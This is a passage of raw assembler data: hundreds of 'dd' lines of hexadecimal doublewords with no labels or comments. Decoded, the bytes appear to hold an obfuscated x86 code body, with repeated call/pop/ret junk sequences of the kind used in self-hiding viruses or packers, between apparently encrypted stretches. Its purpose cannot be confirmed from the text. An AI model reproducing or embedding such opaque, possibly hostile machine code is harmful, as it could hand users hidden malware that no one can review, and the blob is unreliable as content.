54A8D928h, 799DD0Ch dd 17912BCFh, 7883E90h, 0DD6B0BE4h, 4FBA40B9h, 505F8D0Ah dd 1DEEC28h, 0ABB3C60Ch, 4FC0AC99h, 8CE6250Ah, 0BCE6DD66h dd 545BDD0Fh, 0C6E852Ch, 50F29985h, 504F998Dh, 54B5DD18h dd 75198D4Ch, 546F5003h, 1900DD0Ch, 0F9C65881h, 0E924DB12h dd 52CDEF1Dh, 63B8A5Ch, 4BAB646Ah, 68AEC03h, 0C37EC03h dd 0DDE88556h, 5431F908h, 54AE355Ah, 0AF6DD0Ch, 20E283CFh dd 1034D928h, 54C7D928h, 22BDD0Ch, 0AF8EEFCFh, 0A5AFCA5Fh dd 32098AC7h, 0EE452587h, 7F4D77E0h, 54DF4E5Ch, 54D9355Ah dd 0A4DDD0Ch, 203F83CFh, 10DAD928h, 54B1D928h, 290DD0Ch dd 9ECAFFCFh, 0DF04D237h, 0C1259C22h, 5276F221h, 79E76087h dd 0D1D2DB17h, 52B6D149h, 9306566Ah, 4F624089h, 54B5D20Ah dd 0C125280Ch, 5276D149h, 4D3354F0h, 7D5DC616h, 4F9CFC81h dd 0D553560Ah, 0D96DC60Dh, 4A75D391h, 5599540Ah, 78FC6081h dd 0E13BDB17h, 524562E4h, 54ADEEB5h, 0BF722E0Ch, 546B653Fh dd 94BEDD0Ch, 4C18DE78h, 7029560Ch, 545E8E00h, 0F5BDD0Ch dd 54BA1E8Dh, 85FDD0Ch, 10E2CD28h, 0ECEEC928h, 54447D3Bh dd 10E63DF3h, 0B449D928h, 39B955B3h, 1ADB723h, 54D6DEE4h dd 9736FD0Ch, 70D95451h, 709E5C08h, 546DC908h, 97E3980Ch dd 0E9D0BC7Bh, 52B6DD19h, 0F94B6081h, 0D9E6DB12h, 52AB1D53h dd 7271E8B4h, 91E8EE94h, 7FB0C62Dh, 6C341CC3h, 7DC9E2BDh dd 6D52AEDFh, 2EC96FF6h, 87356BC6h, 5954DC1Dh, 0C545835h dd 0F305E983h, 6AD98BA4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3EB7C352h, 5B9AFC5Fh dd 0E91C6B0Bh, 53h, 48A0F60h, 66000000h, 0E85E1DBEh, 0Ch dd 0D50A814Eh, 4BF756F6h, 0C71332DCh, 615BC38Bh, 8A0F6061h dd 3, 5746CC80h, 5AD0B70Fh, 6AC361h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 5B63BC3h dd 8B6C15FAh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0C820F94h, 60000000h, 0C0EE8166h dd 2DE5BAF7h, 60614C11h, 0DE9h, 0B8FB7F00h, 719A727Ch dd 6313EEC7h, 83614631h, 1B23D1BDh, 9750006h, 3129BD83h dd 7400061Bh, 8B535019h, 4B9B8C0h, 85890000h, 61B2131h dd 0A6B49D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50177400h dd 4B9B853h, 85890000h, 61B2131h, 0A3559D8Dh, 0D3FF061Dh dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 0A967A5C3h, 59774B10h, 0F9CDF8E1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A6C35141h, 52EEA4C5h dd 6AC08B31h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 6B9C353h, 2AC54487h, 83750CE5h dd 0C18B40FCh, 9DD9D89h, 4EB061Bh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 44C35343h dd 5403DB23h, 42A3677Fh, 0FF38BDAh, 58Dh, 2A0CBF00h, 6A72EAh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 39DACDC3h, 8DF05E5Ah, 1B32ED85h, 7BE5006h, 89786CDAh dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 37C9C8C3h, 2D576A0Eh, 6A5650h, 0DE9h, 6D8AD000h dd 25C5615Eh, 0C97144C3h, 6AA7FEh, 0AD9B58Bh, 858D061Bh dd 61EC39Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 26C35040h, 0B70F3262h, 5C083F7h, 0F977BF66h, 24048950h dd 6A006AF9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0E458C357h, 0B58B51AAh, 61B175Dh dd 6A006A5Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 2175C350h, 10E949h, 7D430000h dd 0AD9490A3h, 0AA234591h, 0A434282h, 95FF0BAFh, 61B1A01h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 40C35646h dd 8166B784h, 8D83AAC7h, 1E92B79Dh, 41950906h, 0FF061B0Eh dd 0CE8D3h, 7F730000h, 0B660770Ch, 0A4ED51CCh, 0B70F9E16h dd 9E95FF3h, 38000000h, 1B81213Dh, 7FFFC583h, 2B0D85FFh dd 8D29061Bh, 61B0119h, 7BEE9h, 0E800h, 815D0000h, 1EC3A9EDh dd 5E906h, 9D8A0000h, 811CE9D0h, 1B099DBDh, 7D006h, 41860F00h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 8803C357h, 0B58BE083h, 61B174Dh dd 6B99D8Bh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 1E11E6C3h, 68857546h, 9D893839h dd 61B06A1h, 100E381h, 10E90000h, 35000000h, 9E835E7Fh dd 476ADED6h, 8EB0D893h, 0BA4CE83h, 8A850FDBh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0B7FEC355h, 0BD83F28Bh, 61EC203h, 40840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 6B8BC356h, 77D0CB9Ch, 62E944h dd 0FE90000h, 6A000000h, 0B13023EBh, 2ECB2266h, 8E4FEA81h dd 8166CEA0h, 0C70CBCEFh, 1EC20385h, 106h, 3AE900h, 5E90000h dd 0F6000000h, 8A0DD58Bh, 0F1BF0F56h, 385C75Eh, 61EC2h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 5618C353h, 0AC80E1D1h, 6B99D8Dh dd 8589061Bh, 61B0925h, 0FEFF2381h, 0F88BFFFFh, 6ADB8C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0E3BC357h, 0B598A6h, 0FA8BA1E1h, 0F04C3F6h dd 5784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 33A553F1h, 4595FF6Ch, 6A061B0Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 9E11C350h, 8BD13114h, 1B0105BDh, 0BE665006h dd 4890261h, 0FFB70F24h, 4BCE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 9D897493h dd 61B2A39h, 958900B0h, 61B09C9h, 6A70E6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 4BFCBEC3h dd 0F60C5023h, 0CE97Fh, 7D820000h, 0A51BB3ACh, 0A1B3928Bh dd 71E4A169h, 9258509h, 0B60F061Bh, 0B58B51D8h, 61B1CB5h dd 6BA5Eh, 95890000h, 61B2C69h, 18619D89h, 0C38B061Bh dd 6A04E8C1h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 47FCC351h, 81728BC5h, 9306EBF6h dd 0E2F7661Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0CC35545h, 8DB589BDh, 0F061B2Bh, 148Bh, 8E800h dd 0D7B10000h, 0F990FEC8h, 8D29071Ah, 61B0D89h, 6AD82B5Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 6F8C351h, 0AAA95190h, 3DB523C0h, 0E8061B06h dd 12h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 820FEC7Ah dd 6, 787FD781h, 505F58EEh, 1160BCBFh, 241C890Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 91C35343h, 0B50BF9B9h dd 61B18E1h, 99DB5FFh, 0BD31061Bh, 61B08D5h, 220595FFh dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 2F0691C3h, 14E95260h, 0E8000000h, 66982142h dd 7905FFEBh, 0B3704494h, 613E31Fh, 5F87B5C9h, 11E9h, 97AD6A00h dd 2DB35EAFh, 0E1931E14h, 692D6632h, 0B0617DC5h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 1025906h, 0A3F97B24h, 70E6F66Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0CC35141h, 0F584719h, 684h dd 15BD2300h, 0E4061B1Dh, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 5A92105Ah dd 0AD2FF379h, 0C9816660h, 0B58B23FBh, 61B112Dh, 0F613C61h dd 26083h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0E5F2A002h, 0F589A344h, 0D8B60FF5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C35141h dd 5D6DA0BEh, 6BA37h, 9D310000h, 61B0EFDh, 6AC38Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0A4D634C3h, 60C8081h, 14E9h, 3C96B400h, 0E4EE1E29h dd 3A5C45F0h, 0F1994CD0h, 0CCBC4AF6h, 4E8C177h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 73C35747h, 0FB35EFC5h dd 0BFDC0ABEh, 8937230h, 0FEA121BFh, 0E2F7664Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 13C35545h, 59B84EFCh dd 6AAEE5BCh, 6AD82BF7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0A433C351h, 6E8EA0Ch dd 27000000h, 8778FDACh, 3810F56h, 0F000000h, 585EFFBFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 84C35343h dd 941A6F9h, 0D82BDB64h, 117880Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D3189C3h dd 61B2411h, 7B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 19B0D9C2h, 0BEA01E23h dd 0C183FC41h, 718D8900h, 3B061B10h, 0BA860FD9h, 1000000h dd 1B29399Dh, 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 72C35141h, 0D8210239h, 708C20FEh, 4C1F66Bh dd 76840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0E909FDC3h, 5, 453C52BBh, 4595FF20h dd 0F061B0Ch, 0F5BF2B7h, 680h dd 99858900h, 2B061B0Eh, 0F8B70FC3h, 8343Dh, 29860F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0EAFCC351h, 3B21F7FCh, 0EE91C3Ch dd 0F9000000h, 0EF81C08Bh, 18E7DE5Fh, 2D78166h, 8BC38BCCh dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 85C7403Ch, 61B2B3Dh, 572F3131h, 1BE1B50Bh dd 0C08B061Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0ABC35040h, 99DBD81h, 7D0061Bh, 850F0000h, 49h dd 1EDB58Bh, 85FF061Bh, 61B099Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0E8C35747h, 0E836E594h, 0AEC0BFC3h dd 9D89640Bh, 61B2E7Dh, 0CE9h, 0A17F900h, 0C9583EBh, 0E9B96805h dd 9DB5FFBBh, 6A061B09h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0DB53C357h, 5E9h, 2FF96F00h dd 95FF18D3h, 61B2205h, 2FA5B589h, 0B890061Bh, 12345678h dd 1CDD8D31h, 9D8D061Bh, 61ECB36h, 0FFF858E9h, 3DBD8BFFh dd 0F061B01h, 0A8Dh, 5E900h, 0A1C80000h, 8B209670h, 51006AC1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F3CC9857h, 0BF660490h, 58BE72FAh, 0EB1369B1h, 4, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0E1D84ACAh, 509ABD49h, 665EF98Bh, 858DF78Bh, 61B32EDh dd 0A1CF8166h, 12E9904Dh, 50000000h, 8DE23AA6h, 49403592h dd 0E745DDEEh, 0BE58FA36h, 0F78B5049h, 57006A90h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0D7816605h, 6AC0E2h, 16D1B58Bh, 6A061Bh, 89D9D89h, 858D061Bh dd 61ECD0Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 28C35747h, 0BF2D6DAh, 60EA5320h, 1BA9BD8Bh, 8166061Bh dd 61E172D9h, 5005C083h, 810F5250h, 6, 310F5250h, 310F585Ah dd 0B241FFBFh, 89585A15h, 0F88B2404h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B64B4C3h, 1B242DB5h, 0FF006A06h, 1B1A0195h, 0E7816606h dd 9D8D06D1h, 61E92B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0A3C35242h, 0A77E27h, 433302E3h, 3239B58Bh dd 0BD8B061Bh, 61B1A55h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 46B5AEC3h, 0E2E73112h dd 0F681FDB8h, 2FE76E7Dh, 2B0D85FFh, 8D89061Bh, 61B323Dh dd 0D85E9h, 0E800h, 815D0000h, 1ECD15EDh, 81F88B06h, 1B099DBDh dd 7D006h, 9B860F00h, 66000001h, 0D681F28Bh, 0EA48766h dd 19419D8Bh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 973316C3h, 8B6617E5h, 1B1D5DB5h dd 6850F06h, 8B000000h, 1B2A11B5h, 0E38106h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 0E418C357h, 3E8E456Ah, 0CE9h, 29DA1D00h dd 449CD61Ch, 0FFE08D38h, 0FDB0B20h, 0B785h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 98C78BB8h, 0FC1F71Ch, 589h, 0F0806000h, 0BD836194h dd 61ECB90h, 67840F00h, 0E9000000h, 0Ah, 469801EEh, 6C39F45Fh dd 0AE90844h, 7A000000h, 59C11736h, 8D42DC7Bh, 8AE972h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0AD88DDC3h, 0FCF5C43Dh, 14E848h, 0F11B0000h dd 0F6F63540h, 932A0331h, 548F814Dh, 0A1F77CABh, 0BD8BAB05h dd 61B210Dh, 85C7F55Fh, 61ECB90h, 1, 41D681F8h, 0E975C2D8h dd 30h, 0CB9085C7h, 61Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 98C67C3h, 69958953h dd 5E061B12h, 19419D8Dh, 8D89061Bh, 61B28D5h, 0FEFF2381h dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0FC9B1C3h, 8C66F3B7h, 7D8D89DBh, 0F6061B03h dd 840F04C3h, 61h, 0A0E68166h, 4595FF00h, 6A061B0Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F4B1C352h, 7A93297Bh, 890B75A4h, 1B007585h, 1A8E0F06h dd 53000000h, 12E8h, 995E5500h, 75D54383h, 0BA0C54D2h dd 0A00166DEh, 5F98757Bh, 6650905Fh, 8990FE8Bh, 1B145995h dd 3C5E906h, 9D310000h, 61B0859h, 6860Fh, 0B5330000h, 61B0ACDh dd 0BF6600B0h, 0BD8B1AE4h, 61B3311h, 0B58B70E6h, 61B1E6Dh dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0F05CDC3h, 0C6815FDBh, 79234F75h, 6AD8B60Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 588FC351h, 6660D3BDh, 0BD89F18Bh, 61B0B29h dd 6BA61h, 0B5890000h, 61B0AE9h, 5CA1BE66h, 14E9C38Bh dd 0A4000000h, 5085ED38h, 362371BEh, 0F4033B0Eh, 0E394BE7Dh dd 0C1931DB6h, 0BD8904E8h, 61B11E9h, 6AE2F766h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 65DCC355h, 2B6FCADDh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0B8C09C32h, 0BAA35F4Bh dd 13E9242Bh, 8D000000h, 0E1FAE9C6h, 89EB885Bh, 35F770C8h dd 0D607C693h, 8D8918A5h, 61B1699h, 241C8950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 7AC35747h, 0EE99DD1h dd 0DF000000h, 55BE4C9Fh, 0C0392031h, 592E337Fh, 9DB5FF9Ah dd 0F061B09h, 188Ch, 13E900h, 1EF50000h, 459A2E82h, 0F344357Eh dd 24A24008h, 0DA7DB862h, 595FF09h, 6A061B22h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 7138C355h, 0F34C4295h, 6890F10h, 8B000000h, 1B2BF5B5h dd 6A00B006h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0C8DEC353h, 0FF2F158Fh, 6070E6B9h dd 12F9BD89h, 8589061Bh, 61B30D5h, 6A71E461h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0E45EC352h, 0F613C60h, 1C683h, 6BF68100h, 0F15BC1Bh dd 6AD8B6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 4CEBDDC3h, 8BCA62Ah, 6BAh, 8BFE8B00h, 0AEBE66C3h dd 4E8C1F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 5EC35040h, 0D2C0368Dh, 0F75879F1h, 0F18B668Dh dd 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 7375C356h, 69B58915h, 89061B16h dd 1B0E999Dh, 0E9D82B06h, 14h, 0A5E26236h, 6571A82Ch, 80BCDE50h dd 1FC1E531h, 832AD321h, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h dd 0E0D5E449h, 2BFD25F7h, 0F0880FD8h, 57000000h, 7B95EFCh dd 8B000000h, 0C183F2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0DC35242h, 0F1CCD6CCh, 933A553h, 1B03A1B5h dd 0FD93B06h, 0B286h, 5711BF00h, 8C6627C9h, 4C1F6D9h, 80840Fh dd 0EE810000h, 4EF6460Fh, 0C4595FFh, 6A061Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 138DBDC3h dd 0D0BE665Bh, 29C32BE1h, 1B0CA1B5h, 8343D06h, 860F0000h dd 3Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h dd 0E7C35242h, 6ED831FDh, 3AE9h, 11E800h, 0B9310000h, 0E61B9B0h dd 14E67DECh, 85225059h, 8B7F929Fh, 0C08B5EF9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BDC35242h, 8BE3B8A8h dd 6AD88BC3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 1C6CC350h, 0B985C7F8h, 77061B06h dd 6A3AEDD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0FB6C357h, 989h, 3860F00h, 66000000h dd 8BF9FB8Bh, 0FA8B66C0h, 53E68166h, 9DBD8145h, 0D0061B09h dd 0F000007h, 2E85h, 11E900h, 51270000h, 47F62476h, 0ABA8F66Fh dd 0ED302F40h, 31F7AB4Dh, 1B176595h, 9D85FF06h, 89061B09h dd 1B21C19Dh, 3DB58B06h, 0FF061B33h, 1B099DB5h, 0F6B70F06h dd 220595FFh, 0F50061Bh, 38Fh, 0FB8B6600h, 6A40905Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0BC49C352h, 67BE66F5h, 11E8FC0Eh, 8000000h, 168EEDA3h dd 9DADE8D0h, 13F2CEA9h, 0A79DCB87h, 945BD8Bh, 835E061Bh dd 1B08F1BDh, 840F0006h, 0F0h, 83F08B66h, 1B2FA1BDh, 840F0006h dd 0E0h, 13399D89h, 95FF061Bh, 61B08F1h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 6C35040h, 0FC00BF9h dd 0AF84h, 6840F00h, 89000000h, 1B2F0D9Dh, 0D38D8D06h dd 6A061B4Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0D272C355h, 56AD435Bh, 0FDBD2B5Ch dd 0B8061B17h, 5, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 64C35545h, 711B58Bh, 0E1FF061Bh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 90C35343h, 70F916D9h dd 5E98E5Eh, 0F5000000h, 98BF7080h, 1A810Fh, 10E80000h dd 0E8000000h, 4EAAB7AEh, 0A002DEFEh, 0A344E5F2h, 665A9089h dd 5E0AF6BFh, 3C5BD83h, 0F00061Bh, 57A84h, 0D98D8900h dd 83061B19h, 1B2FA1BDh, 840F0006h, 567h, 91BD2950h, 5E061B16h dd 13298D8Dh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 14E966C3h, 62000000h, 276FFEC1h dd 0C5C541CAh, 0A63C8501h, 10C13CEEh, 66A9F393h, 0C7E350BEh dd 0B27C8401h, 56006A44h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 54EA24AAh, 0FE8B1904h dd 0CFCB0181h, 6A1499h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 14E9A0C3h, 0A3000000h, 0CAEB332Ah dd 690852Dh, 73D3B8F8h, 6F62651Bh, 0C7860E5Bh, 6B340441h dd 6ACE70h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0E9F098C3h, 20FC8D7Ch, 0F530881Ah, 10044181h dd 0F31D6D7h, 6AF6B7h, 2B9DB589h, 858D061Bh, 61B1329h dd 543CC0BFh, 0F28B5007h, 66240489h, 24B3DE81h, 3C595FFh dd 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0B58BEEC3h, 61B18F5h, 13298D8Dh, 0BD8B061Bh dd 61B22C5h, 1C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 84C9A7C3h, 51ACDBAEh dd 660298CDh, 0C77DA8BEh, 441h, 81660000h, 0B608BEFh, 59840FC0h dd 0E9000000h, 0Eh, 13793A17h, 0E849B274h, 0ED4827Ch, 8D8D72E9h dd 61B4CD3h, 18C5B58Bh, 5B8061Bh, 0F000000h, 0E1FFF1B7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 62C35545h dd 1BFD2161h, 17A79B1Fh, 950DBF38h, 0BD8946A1h, 61B1741h dd 13298D8Dh, 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 5501F5C3h, 0EE8DBEAh, 0C78726B5h dd 0AA727C01h, 5A39BE44h, 181427Fh, 1499CFCBh, 19E9B589h dd 41C7061Bh, 78753C04h, 79BD33CEh, 0E8061B1Eh, 0Fh, 7808FBAFh dd 0F415B268h, 827294FFh, 50C2063Ah, 0B76CF7BEh, 815F5E49h dd 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 4EE7CDC3h, 0BD8B006Ah, 61B0985h dd 1329858Dh, 9D01061Bh, 61B245Dh, 60525090h, 34BE5853h dd 617D50B3h, 7E9310Fh, 13000000h, 9DDBC597h, 585A53B7h dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 3A6BB9C3h, 197E4175h, 0EE9h, 43F60800h, 17B68DDEh dd 72018841h, 89E3D66Dh, 1B037185h, 0C595FF06h, 0E9061B03h dd 0Ah, 116048F2h, 0A9CDE8F0h, 8D8D855Eh, 61B1329h, 2381B58Bh dd 1C7061Bh, 0 dd 0C7F98B66h, 441h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0AF6225C3h, 773DDE33h dd 3039BD23h, 8B66061Bh, 0FC00BFBh, 6F84h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0EDCD644Bh, 0B5660A08h, 0F08BF80Eh, 0CBAE6DBEh, 0D38D8D54h dd 8B061B4Ch, 1B3139B5h, 5B806h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9589B9C3h dd 61B16D9h, 9E9E1FFh, 0A9000000h, 0B6D0A4F7h, 802F507Ch dd 13298D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0D4AD69C3h, 77E27443h, 0C70DD866h dd 0CA95A501h, 8BF6654h, 0CB018158h, 6A1499CFh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0A9A0C351h, 35E70A6Bh, 1B8DBD89h, 41C7061Bh, 5F596904h dd 52006ACEh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 15AC5FAEh, 6850FCEh, 89000000h, 1B0F318Dh dd 4418106h, 31D6D710h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 2EC9C1C3h, 0BEAA3697h dd 704B03FAh, 0A95BD8Bh, 8D89061Bh, 61B0379h, 1329858Dh dd 0F88B061Bh, 6A905090h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0E76FC351h, 0B8372300h dd 0C6816678h, 95FF7803h, 61B03C5h, 28D58D89h, 8D8D061Bh dd 61B1329h, 1C7F38Bh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 53C35747h dd 6D9531DFh, 0C7061B30h, 441h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 81E814C3h dd 224FCE1Ch, 0FCB5419Ah, 0CE8h, 81E81400h, 224FCE1Ch dd 8FB5419Ah, 0CDBD0338h, 5F061B0Bh, 840FC00Bh, 3Bh, 8DF98B66h dd 1B4CD38Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0A0EC8334h, 0EB6062BCh, 5B81AE1h dd 89000000h, 1B0C9DB5h, 3E1FF06h, 0F283E9CAh, 0F08BFFFFh dd 22B5B58Bh, 0C18B061Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0E5C35545h, 4E07EED3h, 89C06091h, 1B07959Dh dd 4EB06h, 0F000000h, 0B58BF2B7h, 61B168Dh, 32ED858Dh dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 112D9EC3h, 0B70F331Bh, 516050F2h, 310F5250h dd 0E95A585Ah, 12h, 57C240E8h, 4BA031D5h, 8424ECE7h, 384AAA9Bh dd 89612F23h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 32FC37C3h, 6A276873h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BCB113Dh, 1B0B29B5h, 6FBE6606h, 0A1B58B08h, 6A061B1Eh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 85858D3Dh, 0FC061EDCh, 0F05C083h, 86h, 0C4BE9000h dd 506AD5A1h, 9FA8BE66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 6ACDF9h, 6A5EF552h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0A1B58BA8h, 